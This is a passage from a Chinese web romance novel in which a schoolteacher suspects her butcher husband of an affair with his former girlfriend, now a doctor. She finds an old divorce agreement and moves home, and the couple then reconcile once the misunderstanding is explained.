“刘医生在妇科方面医术精湛,人称‘送子圣手’,想要宝宝,找她调养身体准没错。”
许铭荣陪同温欣怡去看病时,对此既无异议也无异常。
这段期间,他没向她说起过和刘溪婷的曾经,是不在意还是太在意?
意乱如麻,思来想去也没解出一个结果。
温欣怡决定放过自己,去相信许铭荣,他不说,就当不知道好了。
将关系的尺度把握在患者与医生之间就很好。
然而一次在街上逛时,许铭荣揽着刘溪婷的身影在前面走过,肢体亲密,那一幕深深地刺痛了温欣怡的眼睛,她不能再自欺欺人说两人是清白的。
“男人就没有不偷腥的。”老人言在耳畔间回响。
男人的劣根性,许铭荣的身上也有。
温欣怡觉得心裂成了两瓣,明明是他们勾勾搭搭,在许铭荣转头看过来时,她却下意识借摊位的遮掩躲起来。
当作没看见,就可以当作什么事都没有发生吗?
撒泼打滚去抓奸问为什么要这么做并不是她的作风。
温欣怡其实还抱着侥幸心理——或许其中有什么误会,眼见也不一定为实。
她应该听听许铭荣是怎么说的。
可是许铭荣回来后,他的神色无异,温欣怡旁敲侧击今天的日常,他都说了没什么事。
也是在那一刻,温欣怡恍然——许铭荣从没主动向她分享过他的生活,都是她问他答,她说他听。
日子一天天过去,许铭荣仿佛沉浸在恋爱的喜悦中,他回家的时间晚了,脸上的笑容多了,穿着打扮变时髦了,言行举止变斯文了……
他的变化,温欣怡看在眼中,如坠深渊,心情一天天变得低落。
在一个晚上,两人平躺在床上时,温欣怡终于忍不住问出口:“你和刘溪婷是什么关系?”
“我和她没有关系。”许铭荣答得肯定。
毫无破绽的回答。
“不是说她是你的前对象?”温欣怡再问。
许铭荣滞了滞,旋即说道:“你听说了?不过那是以前的事,你不要多想。”
呵,她不过就问了两句,他就说不要多想。
很难不让人多想啊。
欲盖弥彰。
许铭荣明显不想讨论刘溪婷,温欣怡也适时止住了话头。
“做吗?”许铭荣窸窸窣窣地将手搭上她的腰。
“不做。”温欣怡将他的手甩开,背过身。
“行。”许铭荣没有多想,很快进入了梦乡。
听着耳边明显比往常重的呼噜声,温欣怡心里更堵了,是在外面偷腥吃累了吗?
一瞬间,温欣怡的脑海上演起各种小剧场——
不想离婚的她抱着许铭荣的大腿,涕泗横流:“求求你,不要离开我,我不能没有你!”
而刘溪婷在旁挽着许铭荣的手臂,笑得娇媚:“我才是铭荣的真爱,你不要死缠烂打。”
许铭荣随之附和:“是的,我爱的一直是溪婷,你自作多情了。”
他们眉目传情模样,温欣怡目眦欲裂,怒火中烧却无可奈何。
……
想离婚的她环抱着双手,心有不甘却以睥睨姿态放言:“一颗心怎么能爱两个人?这样滥情的你,配不上专一的我了。许铭荣,离婚吧。”
许铭荣愤怒发问:“我不过是犯了男人都会犯的错,你为什么不肯原谅我?!难道我对你不够好吗?离婚你想都不要想!”
刘溪婷阴阳怪气煽风点火:“铭荣哥是干大事赚大钱的人,我们当姐妹共同伺候好他比什么都强,你太小家子气了。”
……
温欣怡想着想着,转身狠狠踹了许铭荣一脚。
许铭荣“唔”了一声,下意识将温欣怡捞进了怀里。
“松开!”温欣怡抬起手扇了他一巴掌。
“怎么了?”许铭荣迷迷糊糊睁开眼,感觉脸麻麻痛,不解地问。
“没什么!我要去上厕所!”温欣怡气鼓鼓地推开他
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,起身往外走。
她的脾气一时一个样,上次说压到头发也扇了他一巴掌,这次许铭荣亦认为如此,都是无关要紧的小事,不必放在心上,眼一闭又睡过去了。
院子里,月光皎洁柔和,如水般流淌在大地上,四处静谧无声,她的心事,无人知晓。
恨明月高悬不独照我。①
因为认为这段婚姻是基于爱情才开展的,在觉得被爱时,温欣怡才学着去爱人。
现在告诉她:没有爱情,只有责任。
这不是她想要的,在温欣怡的观念里,婚姻不能将就,要彼此相爱的两个人过日子才会感到幸福。
就在温欣怡决定要开诚布公聊一聊,许铭荣出差了。
温欣怡捏着他留下的纸条,看着空荡荡的屋子,无语地笑了。
问题拖着拖着不会被解决,只会变成刺横亘在心,一日不拔,一日难消。
温欣怡每日正常上下班,周末也会去医院找刘溪婷做针灸。
面对刘溪婷时,温欣怡故作不知她和许铭荣之间的瓜葛。
后来预料之中,先沉不住气的是刘溪婷,她坦然道:“曾经有一个人不计回报地对我好,我不懂得珍惜,希望现在我能挽回这份真挚的感情。”
“哦,那祝你成功。”
听到这番话,温欣怡很是疑惑,这是宣战还是别有含义?她不懂,但知道不爱自己的男人不如当沙扬了。
“你应该知道我和猪肉荣的关系吧,不介意吗?”刘溪婷见她的反应淡淡,思忖着传闻中她不喜欢许铭荣的事,应该是真的。
“介意也没用,你能抢去就抢去。”温欣怡心里介意得要死,但表面端的还是风轻云淡。
刘溪婷微微一笑,转了话头:“我见过一些夫妻,身体都没问题,但就是生不出孩子,换个人就都能生,科学上说是因为精卵不结合,玄学上则认为两人没有夫妻缘分。或许,你和猪肉荣就是有缘无份,强求不了的。”
“我和他没有缘分,也不见得他和你有缘分。”温欣怡起身,在离开之前说道,“下次就不和你约针灸了。”
温欣怡不想将人想得那么坏,但也怕她没有医德损害了身体。
刘溪婷看着那离去的背影,不可否认,温欣怡是个有魅力的女人,但她自认为自己也不差,追回猪肉荣的心,她有信心。
*
刘溪婷对于猪肉荣给予的帮助,她是感恩的,可是人向上爬,总要舍弃些什么。
年轻的时候,所做的一切努力只为嫁入豪门,这个目标她在大学毕业后实现了。
可人心易变,那个说永远会爱她的男人换女人如换衣服般频繁,掌心向上的日子并不好过。
虽说她的医术出众,但为了名誉好听,她并不被允许出去行医。
穿什么衣服、说什么话、做什么事、吃什么食物……事事皆有规矩。
她就像一个被操控的木偶,事事不得自由。
一想到往后余生都要过这样的生活,她后悔了,她想逃离。
但有钱人的钱不是那么好拿的,她脱一层皮才摆脱掉那段婚姻。
那段黑暗的日子不提也罢。
如今她孤身回到家乡,除了实现自己的职业规划,还有就是想要和猪肉荣破镜重圆。
在她看来,猪肉荣还是爱着她的,娶温欣怡不过是将就。
23. 粗鲁屠夫VS傲慢老师
温欣怡对许铭荣还是不死心,对这段婚姻还抱有期待,直到看到一张被夹在书里的离婚协议,许铭荣的名字和手印清晰地映入眼帘。
曾经的美好过往像泡泡破碎掉了,那一瞬间,温欣怡的内心满是冰冷与荒芜,有些喘不过气来。
泪水盈满眼眶,随着眨眼的动作顺着脸庞砸落,洇湿了纸张。
嚎啕大哭。
“他不爱我!不爱我啊!我还以为他是爱着我的呢,真好笑!哈哈哈……以命相救,不过是老婆而已……呜呜呜……”
温欣怡又哭又笑,心如刀绞,胡乱地抹去眼泪,却越擦越多。
她干脆将自己扔到床上,脸埋进被子里,一波又一波泪水迅速蔓延,水痕一块又一块,细碎的呜咽声一声又一声。
“不是爱……许铭荣你不爱我……”
最后哭累了,什么时候睡过去都不知道。
直到第二天阳光照射进来,脸庞感受到了一股灼热的刺痛,温欣怡坐起身,敲敲胀痛的脑袋,眼睛又干又涩。
难受。
思绪回笼,酸酸涩涩的情绪上头,眼泪又控制不住流下来。
温欣怡摇摇晃晃地爬下床,拿起镜子一看,被里面的人吓了一跳——
苍白脸、鱼泡眼、干嘴唇,整个人被抽走了精神气,萎靡不振。
“好丑!唔——呜呜呜——”温欣怡皱着眉,张着嘴,哭着眼,这下是被自己丑哭了,哭出烧水壶声。
想象中的梨花带雨没有,丑爆了!
温欣怡龇牙咧嘴地调整了一下表情,怎么看都不好看,不敢哭了。
好在今天是周日,不用出去见人。
温欣怡去拿毛巾用开水烫了烫,敷眼擦脸,疼痛缓解了许多。
经过一夜的消化,空空的胃对食物的渴望达至顶峰,温欣怡手脚发软地泡了杯蜂蜜水,吹了吹,便迫不及待地啜了一小口。
烫得她直哈气,不得不耐着性子拿来另一个杯子倒来倒去以加速降温。
喝完一杯蜂蜜水,胃好受了些。
温欣怡站在屋子中间,视线从每个角落扫过,件件物品都有她倾注的心血——
墙上的挂画是她专门找人画的春景图,墙角斗柜是定制的,桌椅是精心挑选……
当时和许铭荣一起布置房屋时,那种你侬我侬的甜蜜蜜此刻想起,还在心头萦绕。
窗外的玫瑰花迎风招摇,开得那么灿烂,可惜种花人不懂欣赏,赏花人现在也无心在赏。
亦如她热烈的感情,开过一季,就要枯萎了。
许铭荣什么时候起了离婚念头呢?想来是在很久之前吧。
或许他在纠结怎么和她说起离婚的事。
她要识时务。
温欣怡想起了舅公,他和白月光蹉跎半生,兜兜转转终成伴侣,虽然有人唾弃老不羞,但很多人则会感叹“真爱无敌!”
不喜欢自己的人,就算抢到手也没意思,要时时刻刻面临被抢走的可能,就算没被抢走也要继续用激情去维护关系。
三角关系,太累人了。
既然最后他们都会走到一起,温欣怡不想当那真爱之中的绊脚石,也不想三人纠缠到七老八十徒增笑料惹人笑话。
放手成全是她给的祝福。
想明白这一点,温欣怡终于下定决心和许铭荣离婚。
在离婚协议上签下名字和摁下手印,等许铭荣回来再去民政局办理手续,这段关系就画上句号了。
温欣怡不想再陷入酸涩心碎的情绪之中,于是让自己忙起来——
美食可抚慰人心,温欣怡吃了一顿饱饱的早餐,接着将属于自己的物品分类归置,收拾打包行李,打扫清洁……
想到将来他们还要在这房屋结婚居住,看到她的东西会膈应,温欣怡能清都清、能搬则搬。
忙活了一上午,原本打理得井井有条的房屋空了一半,温欣怡的行李堆放在院子成一堆,目光再次望向那一簇簇玫瑰花和两块菜地上绿油油的菜地。
“算了,这就不动了,许铭荣要看不惯,自己锄了就是。”温欣怡喃喃,转身回去简单地做了顿午饭,吃完后将角角落落都检查了一番,见没什么东西落下,叫了辆拖拉机来拉行李。
*
“哎哟,你这是干嘛?怎么把家当都搬来了?”
温妈妈正在家里忙活着家务,听到有动静传来,出门就看到女儿拉了一车东西回来,甚是惊讶。
“妈,先把东西搬进去。”温欣怡边抬着东西往里走边说。
温妈妈见这架势,心里嘀咕着小两口不会是真离婚了吧?不过不久前闺女还信誓旦旦地说要和女婿好好过日子,没想到还是走到了这一步。
“唉——”
温妈妈长叹口气,见温欣怡眼睛肿肿,明显哭过,心里一揪,动作麻利地搬起东西来。
将全部东西卸下车后,房门一关,母女两面对面坐下。
温妈妈面色凝重:“发生什么事了?”
温欣怡:“我要和许铭荣离婚。”
“为什么?女婿做了什么事?怎么又不钟意了?”
“他不钟意我,我也不要钟意他了。”
听着这番小孩赌气似的话语,温妈妈无语了一瞬,但自己宠出来的女儿自己哄。
“女婿哪里不钟意你?”温妈妈耐心分析,“我看他就挺钟意你的,要钱给钱,要人给人,做事稳重,不吃喝嫖赌,不打女人,婆家不吵闹,还很关心我和你爸……”
温妈妈细数着许铭荣身上的优点,在两老眼中,这可是十里八乡打着灯笼都难找的好女婿,不说大富大贵,但过上衣食无忧、有点小钱满足娱乐爱好是没问题的。
而且温欣怡任性打掉过一个孩子后,许铭荣也没有追究摆脸色,对二老还是一如既往的尊重关爱。
这事要放在其他男人身上,指定是忍受不了媳妇那么作的。
温欣怡嘴一张,哇一声哭着扑进妈妈的怀里:“我知道他很好,但他喜欢的是别人,呜呜呜——”
“谁?女婿喜欢上谁了?”温妈妈看她哭得心都碎了。
“刘溪婷,他以前的对象。”
温妈妈回忆了一下,是有听说过这么一个人,但那都是很久以前的事了,而且婚前调查过,他们并没有发生什么逾矩的行为。
“你看到他们搞上了?”
“看到过他们搂在一起,许铭荣也想和我离婚,他已经签了离婚协议,哇呜呜呜——”温欣怡哭得不能自己,肩
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膀随着抽泣剧烈抖动。
听此,温妈妈的脸色比锅底还黑,怒气顿生,骂道:“还以为他是个好的,没想到也是花花肠子,这样的男人不要也罢,离婚就离婚,爸妈永远是你坚实的后盾。”
温妈妈拍着她的后背安慰。
“你不嫌我丢人就好。”温欣怡感受着来自妈妈的温暖,受到情伤的小心脏被缝补了,慢慢停止了抽泣。
“他做出那样的事,丢人的是他。”温妈妈已经认定许铭荣出轨了,之前那个好女婿形象完全颠覆,恨不得揍他一顿出气。
但女儿离婚归家,她不免也忧愁,现在世俗上离婚还是少数,人们一般不会指责男人怎样,对女人总是苛刻些。
她就怕女儿听多了那些风言风语不开心。
*
两天后,许铭荣赶着夜色出差回到家,看着大变样的家,第一反应就是遭贼了。
正疑惑着温欣怡怎么不在家,担忧她会不会出什么事时,八仙桌上的离婚协议告诉了他答案。
“糟糕!”许铭荣心脏突的一跳,心慌起来。
这份离婚协议是在去年写的,那时的温欣怡讨厌他是在同一片天空下呼吸都觉得厌恶的程度,他的一言一行,她怎么看都是不爽。
被如此憎恶,许铭荣并非表面上的那般无动于衷,时间久了,心头那点对她的悸动早已消散,他也曾多次问自己——
“这样的日子谁都不开心,或许分开会比较好。”
“为什么要那么讨厌我呢?那些缺点我有在改,但她还是不喜欢。”
“再试试,要是她还是讨厌我,那我就还是再试试吧。”
“她真的会被我的真心感动吗?日久能生情吗?爱她好累。”
“……”
就这样一眨眼两人互相折磨一年又一年,许铭荣终于下定决定要放她自由,填好了离婚协议书,就等着一个时机终止这段关系。
出人意料的是这时温欣怡对他的态度有了翻天覆地的变化,她看向他的眼神有了爱意、会关心他、愿意亲近他了。
恍若天降惊喜,许铭荣恍恍惚惚好多天,温欣怡都没有变回原来那个一看到他就不屑的模样,他才有点相信她所说“想和你好好过日子”的话。
一天又一天,一日又一日,他们越来越亲密,感情越来越好,往日的不合彷佛是梦一场。
甚至在温欣怡的纵容下,他开始小心翼翼地试探她的包容程度。
他发现那个时而高冷时而暴躁的温欣怡不复存在了,她不再挑刺,笑意盈盈看着他的样子,总会叫他又欢又喜,心如鹿撞。
脑海中寻常但幸福的夫妻生活有了具象化。
离婚的念头就此被他摁下去了。
而那张离婚协议也被他抛之脑后,真没想到这张轻飘飘的纸会化作回旋镖扎断这段婚姻。
温欣怡问都没问他一句,就把自己的东西搬离了这个家,可见是生了很大的气。
手中的纸张几乎要被捏碎,指节泛着青白,许铭荣内心掀起了惊涛骇浪,满是对要离婚的惊惶。
他不想离婚啊!
压下心头的慌张,许铭荣将钥匙重新插上摩托车,脚一迈,骑上去,引擎轰鸣,拧转油门把手,疾驰而去。
24. 粗鲁屠夫VS傲慢老师
“你来了,坐吧。”
院子里,温欣怡正在和爸妈乘凉聊天,见到许铭荣骑车过来,淡淡说道。
经过爸妈的轮番安慰,温欣怡的情绪已经平稳下来,可以心平气和地和他商量离婚的手续。
“我不想离婚。”许铭荣快步来到她的面前半蹲下身,坚定地说。
“你不想?呵呵,那离婚协议是假的?”温欣怡讥讽地看着他,“你不会是想左拥右抱享齐人之福吧?恶心。”
“离我闺女远一点,看在你之前对我们颇多照顾的份上,这次就不打你了,两家好聚好散得了。”温爸爸将许铭荣扯起来,拉远了点。
“什么左拥右抱享齐人之福?”许铭荣着急又迷悯地看向温欣怡,“离婚协议是我很久之前写的,但我没有出轨。”
“别装了,我都看到了。”温欣怡冷哼。
“我装什么了?你看到什么?”许铭荣不解其意,一时之间不知该如何证明自己对她没有二心,举起手发誓,“我没有出轨,不然叫我天打雷劈,不得好死。”
“你和刘溪婷的事,难道还要我抓奸在床才算吗?”温欣怡快言快语,“该拿的我已经拿走了,我不要你什么补偿费,明早一起去民政局办离婚手续吧。”
听到离婚二字,许铭荣心脏徒然缩紧:“我和刘溪婷清清白白,你不能乱给我扣帽子,是因为她,你才想和我离婚吗?”
“难道你和刘溪婷没谈过对象吗?难道她不是你的真爱吗?难道那离婚协议你是写着玩的吗?”温欣怡一连三问,情绪再次激昂起来,明明不想哭的,但泪水还是糊了眼。
“你别哭,我们好好聊聊。”许铭荣心疼地用指腹为她拭去眼泪。
“我和你没什么好聊的!”温欣怡拍开他的手。
“要是就这样和你离婚,那我真是冤枉死了。”许铭荣自顾自搬来小凳子在她对面坐下,一副要促膝长谈的样子。
“我们避避,让他们聊。”温妈妈很有眼色地将温爸爸扯走了。
“先说离婚协议的事。”许铭荣伸手禁锢住了她的肩膀不让走。
“你抓得我好痛,我听着就是。”温欣怡走又走不掉,气愤地瞪着他。
“对不起,我不是故意的。”许铭荣讪讪地松开手,真诚道歉,旋即说道,“你之前非常讨厌我,你还记得吧……”
一听这话,温欣怡先急起来:“怎么,你要和我翻旧账吗?”
“没有。”许铭荣苦笑,“因为之前看你和我过得不开心,所以我才会写下离婚协议想放你自由,但是当听到你说要和我好好过日子后,离婚的事我就没再想过。”
“老婆,我不想和你离婚,我们以后都好好过日子,好吗?”
后一句他难得用温柔缱绻语调,低沉悦耳,听得温欣怡耳朵登时酥麻起来。
“现在知道喊老婆了,先前你都不愿意喊的。”温欣怡撇撇嘴,想起来更生气了,寥寥几次都是她哄着他才喊的。
“我,我没喊习惯,以后你想听,我都喊给你听。”许铭荣不知为什么,觉得喊【老婆】太羞涩,他还不习惯光明正大秀恩爱。
“不用勉强。”
“没有勉强,一点儿都不勉强。”
老婆都要没了,哪还顾得上羞不羞,色不色。
“老婆,跟我回家好吗?”许铭荣试探着去握了握她的手。
“刘溪婷呢?”温欣怡再次拍开他的手。
许铭荣:“我和刘溪婷是初中同学,有次我上山找草药,不小心掉进一个陷阱里,出不来,眼见就要力竭饿死,是刘溪婷救了我,不过要求我支持她上学的费用,我答应了。”
“后来我家人发现我给他钱,非亲非故的,他们都骂我傻,刘溪婷就说长大后要嫁给我,我觉得她读书好,长得也还不错,就答应了。”
听到这里,温欣怡瞪眼:“那你是不是喜欢她?”
许铭荣觑了觑她的脸色,感觉这问题不好回答,不过也不想骗人,坦白道:“那时应该是有点好感的,觉得她不读书可惜了。”
明明是预想中的答案,温欣怡还是感觉心被刺痛了一下。
“后来她考上大学,攀上了高枝,我对她也死心了。”许铭荣信誓旦旦,“她现在对我而言就是个陌生人,而且,而且……”
他欲言又止,有什么像烫嘴般说不出来。
“别人不喜欢你,你才会选择我是吧。”温欣怡一想到自己是他迫不得已的选择,气得胸膛起伏,怒火直燃,脱口而出,“她不要你,我也不要你。”
“别不要我。”许铭荣听此,顾不上其他,连忙说道,“我爱你,第一次见你,我就看上你了。”
“骗人!”温欣怡转过头不去看他,身上仿佛竖起了一堵无形的墙将他隔开。
“真的,第一次见你,我的心就跳得很快,想多看你几眼又不敢多看。”许铭荣回忆起往事,打开了话匣子,“那时你还在读大学,放假在家,有一次你和丈母娘来我摊上买猪肉,我第一眼就觉得这女孩像是被娇宠的公主,是我不能触及的。”
“我知道自己配不上你,只敢放在心上挂念。但自那以后,只要听到你的名字,我就下意识竖起耳朵听,甚至忍不住拐弯抹角去打听你的事。有时骑车去温家村卖猪肉时,我都会想能不能见到你……”
温欣怡听着听着,身子慢慢转回去,眼睛瞪得大大的,满是不可思议,忍不住打断:“以前怎么没听你跟我说过这些?”
“我不好意思说。”许铭荣顿了顿,分析道:“不过这样一对比,我对刘溪婷是可怜居多,但对你,确实是喜欢的,所以婚后不管你怎么嫌弃我,我都愿意包容你,你说的那些缺点我都愿意改。我也知道,嫁给我这样的粗人,委屈你了。”
他话头一转:“我愿意离婚的时候,你跟我说要好好过日子,是你说过的,你不能说话不算数。”
“那上次我见到你和刘溪婷搂在一起是怎么回事?”温欣怡问。
许铭荣回忆了一下,说:“上次我在街上见到她被货物砸伤了脚,走不了,就扶了一把。”
“除此之外,我见她都是和你去医院,没有在别处和她有接触了。”许铭荣一想到要是因为刘溪婷搞得离婚,那真是太冤了。
“你最好说的是真的,要是我查出你骗我,你死定了!”温欣怡放狠话,心里信了九成。
“没骗你,你尽管查。
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”许铭荣继续交代:“我也是陪你去到医院,才发现医生是她,后来打听到她的医术不错,也没多想,和她的那些陈谷子烂芝麻旧事,我早就不在意了。不放在心上的事,哪还会和你多嘴去聊。”
“刘溪婷想和你复合,你真的不心动吗?你说实话,我不生气。”温欣怡循循善诱,“救死扶伤的医生多受人尊敬,如果是伴侣的话,家人有什么头痛脑热,也方便治。她也算年轻有为,自己买了房……”
“可是我喜欢的是老师,教书育人的老师也很不错,如果我遇到什么不会的,老师可以教我。温欣怡这个老师,凭本事将自己养得很好,也很优秀。”许铭荣见她明明不想夸刘溪婷,却还是绞尽脑汁夸的样子,别扭得可爱。
“她怎样想我不关心,她有多大的成就我也不羡慕,我只想和你好好过日子。”许铭荣忍不住将她拉过来,搂进怀里,“你要是介意,以后我见到她都躲得远远的。”
“原来你是因为我是老师才喜欢我的!放开我!我们还没和好!”温欣怡想挣脱开,使劲推搡着他的胸膛。
“是因为你是老师才会喜欢老师,那你说要怎么才和我和好?”许铭荣摁住她好像摁住了过年的猪,大力的,紧紧的。
不知道她怎么总会认为他是因为别的原因才会喜欢她,就不能单单因为她本人吗?许铭荣不解。
“你自己想!”温欣怡听他解释完后,其实有点心虚了,但面上还端着严肃,“都不会哄老婆开心的人,不要也罢。”
许铭荣看着她的嘴巴叭叭,亲了上去。
“唔……不要……啧啧——”
从开始的抗拒到后来沦陷于热吻之中,温欣怡别扭愤怒的情绪慢慢被消化掉了。
不远处趴在窗户上偷听偷看的两老:……
温爸爸皱着眉:“这……这……这小子……”
温妈妈扯走他,低声道:“行了行了,谁年轻不是这样过来的,看来女婿还是好的,我们就不要掺和那么多了。”
……
吻毕,温欣怡粗喘着气靠在他胸膛上,用他的衣服擦掉嘴边的涎水。
“回去给你买新包包、新衣服、新杂志……我的能力范围内,你想买什么都可以。”许铭荣特意用低沉带有磁性的嗓音哄人。
这样温柔的他,她实在难以抗拒。
他说的每一个字都像在撩拨她的心脏,叫人脸红红耳烫烫身软软。
“说一句‘我爱你’听听。”温欣怡缓过来后,食指勾起他的下巴,她喜欢看到他为自己着迷的样子。
“我爱你,老婆。”许铭荣俯身,用气音在她的耳边说。
温欣怡忍不住捏了捏耳朵,但还是挑刺:“说得那么小声,不诚心。”
“我爱你老婆!老婆我爱你!我……”
许铭荣突然大喊起来,吓得她赶紧捂住了他的嘴巴:“可以可以了。”
这一晚上,【老婆】两个字,许铭荣越喊越习惯,羞涩感不复存在。
“老婆,和我回去吧。”
想到差不多被搬空的家,温欣怡轻咳一声,故作自然地说:“你明天再来接我,我全部家当都在这了。”
“行。”
25. 粗鲁屠夫VS傲慢老师
翌日,许铭荣很早就起床了,想早点去接温欣怡回来,但又想起今天星期一,她还要去上班,搬东西的事宜只能他来了。
草草地做了早餐吃,许铭荣正打算出门,就见爸妈行色匆匆地赶过来,风风火火径直进了屋,看到被搬得七七八八的家,顿时感到一阵眩晕。
“欣怡是不是和你闹离婚?你是不是做了什么对不起她的事?”许妈妈劈头盖脸一顿骂,“我听说刘溪婷那女娃想吃你这棵回头草,你现在是有家庭的人,可不能干那缺德事,要是你和她又搅在一起,我打死你!”
伴随着话落,几个巴掌接连扇在许铭荣的身上。
“妈,我不知道谁乱说乱传的,我没做对不起欣怡的事。”许铭荣躲闪着,觉得太冤枉了。
“你没偷腥别人能传?我和你妈老实本分一辈子,可不要临了因为你被人戳脊梁骨抬不起头。”许爸亦是一脸愤怒。
二老今早在菜地浇着水,有村人在耳旁说着风凉话:“猪肉荣现在是大老板了,先前那个贪财的这不闻着味就来了,不过现在人家也有出息,读书出来当上医生了。还是你夫妻命好,不要老师儿媳妇,还能有医生儿媳妇。”
“什么意思?”那时许妈听了一脸懵。
“哎呀,你们还不知道?”村人手拍了拍,神情惊讶,“昨天很多人看见你那老师儿媳妇搬东西回娘家了,说是要和猪肉荣离婚呢。猪肉荣还是喜欢前头那个,你们呢,喜欢哪一个当儿媳妇?”
“我和他爸什么都不知道,先不聊了。”许妈说完丢下扁担和粪桶,扯着在不远处锄草的许爸往下村赶。
以上就是二老会到这里的原因,要问个清楚是怎么一回事。
“是误会,我昨晚就和欣怡解释清楚了,今天我会去接她回来。”许铭荣说,“之前和欣怡去医院调养身体,医生是溪婷,除了聊怎么治疗,没聊过其他。”
“真的?你别有点钱就学坏要换老婆。”许妈不太信,实在是他小小年纪就知道攒钱给女生花,觉得刘溪婷在他心里是有一定地位的。
“不骗你们,不多说了,我还要去温家村。”许铭荣实在不耐烦扯那些有的没的,“要不等欣怡今晚下班回来,我带她去老宅跟你们说。”
“行,今晚你和欣怡过来吃饭。”许妈也不跟他扯东扯西,一切凭事实说话。
*
许铭荣先骑摩托车去养猪场,换上新买的卡车开往温家村。
好在现在时间还早,大多数人还在家吃早饭,许铭荣的出现并没有引起轰动。
由于昨晚解释清楚了,许铭荣还是温爸温妈的好女婿,一见到他,二老脸上绽放开灿烂的笑容。
温妈妈:“铭荣,这么早就过来了,欣怡还没起床呢,你去叫她吧。”
“好。”许铭荣熟门熟路往温欣怡的房间去。
“老婆,起床了。”
“唔——别吵。”温欣怡将被子蒙过脑袋,翻了个身。
“老婆,醒醒。老婆,老婆,老婆……”
【老婆】两个字像复读机般在耳边循环播放,等温欣怡的脑神经清晰捕捉到这两个字,她猛地睁开眼坐起身,许铭荣的大脸映入眼帘。
愣了一秒,思绪回笼。
“老婆,东西我会搬,今天我去学校接你下班,晚饭一起去我爸妈那边吃行不?”许铭荣问。
“嗯,可以。”
明明是自己是想听他叫老婆的,但他真的叫出口,听在耳朵里,温欣怡感到有几分不好意思,还有几分欢喜。
“你先出去。”温欣怡推搡着他,要平静一下心情。
“好,待会我送你去上班。”许铭荣说完走了。
“铭荣,快过来,早餐刚做好。”温妈妈端着一碟煎得金黄的咸鱼从厨房走出来,见到他招呼道。
许铭荣也不客气,坐下一起吃了。
“不要客气,想吃什么自己夹。”温妈妈边说边夹了一条鱼到他的碗里。
“嗯嗯,我自己夹。”许铭荣点点头。
“欣怡被我们宠坏了,受不了什么委屈,以后要是有误会的地方,两夫妻要多沟通,及时沟通,不然她这脾气上来,可难顶了。”温爸爸说。
“知道,有什么事我不会瞒着她,也不会做对不起她的事,这辈子只要她不闹着和我离婚,我不会和她离婚的。”许铭荣保证道。
“我也会叫她多体谅你,你工作也辛苦。夫妻拧成一股绳,有劲往一处使,日子一定会越过越好。”
“嗯嗯。”
“你们遇到什么难处,回来跟我和她妈说说也行,能帮的我们都会帮,反正以后我们的东西也是留给你们。”
“好,谢谢爸妈。”
二老拳拳爱女之心,许铭荣一直知道,但每次还是会为此所感动,暗暗发誓着要对温欣怡更好,她才不会感到有落差。
“在聊什么呢?”温欣怡洗漱完过来坐下,端起一碗放在餐桌上放凉的粥吃起来。
“聊你的坏脾气,以后可不许这样了,事都没搞明白就闹着要离婚。”温妈妈说。
“哼!我脾气哪里坏?要怪就先怪你,是你有让我误会的行为。”温欣怡转头看向许铭荣,气哼哼。
“嗯嗯,我有错在先,不怪你。”许铭荣从善如流地接过这个锅。
“瞧瞧你这大阵仗,村里人还不知道会编排什么呢……”
“行了行了,吃东西还堵不住你的嘴。”温爸爸打断温妈妈的话,说,“村里人的德行又不是不知道,鸡毛蒜皮的事都会放大来说,过好自己的日子就行。”
温妈妈无语地瞪了他一眼:“你不也说,还嫌我多话……”
“爸,妈,今晚我去婆家吃饭,他们应该不会怪我吧?”温欣怡转移话题,制止了一场有可能爆发的家庭战争。
“怪你什么,你就是想回娘家看看怎么了?夫妻之间争吵也很正常,又没有真的离婚。”温爸爸说。
“就是。”温妈妈接话,“你婆家的人不凶,是个有礼数的,好好沟通就是。”
温欣怡乖乖应是。
*
饭后,许铭荣骑上许爸爸的二八大杠,载着温欣怡往学校的方向去。
“老公,要是我和刘溪婷同时掉进水里,你先救谁?”温欣怡突发奇想。
“你怎么会和她同时掉进水里?”许铭荣不懂这个问题为何会产生。
“你不要管其他,回答救谁就行。”温欣怡捶了一下他的后背。
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“救你,我的老婆。”
只要不是傻子,谁都知道该怎么回答。
“哎呀,现在你叫老婆倒叫得顺口。”温欣怡又捶了他一下,翻旧账,“之前不知道是谁不肯叫出口的?哼!”
“我那时脑子还没拐过来,之前你对我可不算好,谁知道你是不是逗我玩。”许铭荣没做亏心事,不怕她翻旧账,说,“现在我确定了,你不是逗我玩,往后余生,我就认定你这个老婆了。”
听此,温欣怡手指戳了戳他的后背:“欸,再问你一个问题:想象一下,假设有天我们的房子起火了,我被困在火里,如果你冲进来救我的话,你就会死,你还会救我吗?”
没待他回答,温欣怡警告道:“我要听真话,别说假的哄骗我。就算你不救我,我也能理解,不会怪你,人之常情嘛。”
许铭荣想了想,半晌按照自己的心意,老实答道:“不知道。”
“不知道?”
“嗯,毕竟生命只有一次,生死关头,我不确定愿不愿意为救你付出生命。”许铭荣话一转,“不过如果你死了,我一定会很伤心,所以大概是愿意冒着死亡的危险去救你的。”
聊起这个话题,气氛开始变得沉重。
自行车行驶在乡间小路上,微风拂过,初升的太阳光芒还不太晒,暖暖的,像盖了一张薄被在身上,很惬意。
许铭荣久久没再听到她的声音,回头一看,发现她已泪流满面。
“怎么了?”许铭荣停下车,撑稳,目光满是关切,“哭什么?我又没有说不救你,那我答应你,要是你以后遇到危险,我都拼死救你。”
温欣怡下了车,猛地扑进他的怀里:“老公,谢谢你。对不起,之前对你那么坏。我也爱你。”
关于救不救她,他早已给出答案。
“还是不要救我了,生命很宝贵,你的命也是命。”温欣怡抽泣着说。
“我都答应救你了,你才这么说,刚才要是我回答不救你,你是不是要跳起来打我?”许铭荣揉了揉她的脑袋。
“我哪有哪样暴力?都说了不怪你,不生气。”温欣怡脑袋顶了他的胸膛一下。
“是是是。”许铭荣开玩笑道,“你是不是要用泪水帮我洗衣服?谢谢。”
温欣怡怔了怔,从他的怀里出来,当看到那被眼泪洇湿、弄得皱巴巴的上衣时,脸爆红:“我不是故意的。”
“知道,我不怪你。”许铭荣悠悠道,“不过你再磨蹭下去,估计赶不上早读了。”
“啊!!!快点!”什么矫情难过的情绪一扫而空,温欣怡一把抹去眼泪,催促道,“骑快点!”
许铭荣脚都要蹬起火了,在钟声被敲响之前,顺利到达学校。
温欣怡跳下车,匆忙丢下一句:“老公,晚上见。”就飞奔向教学楼。
那火急火燎的背影,许铭荣看得不禁哑然失笑。
转头回到温家,邻家有爱看热闹的人在院子里和温爸温妈边闲聊边收拾着东西,看到许铭荣回来,还打趣了几句。
许铭荣问什么都表现出和温欣怡感情很好的样子,或者就笑笑不语,忙着将家具等东西搬上车。
那些人没了趣,不一会儿都借口离开了。
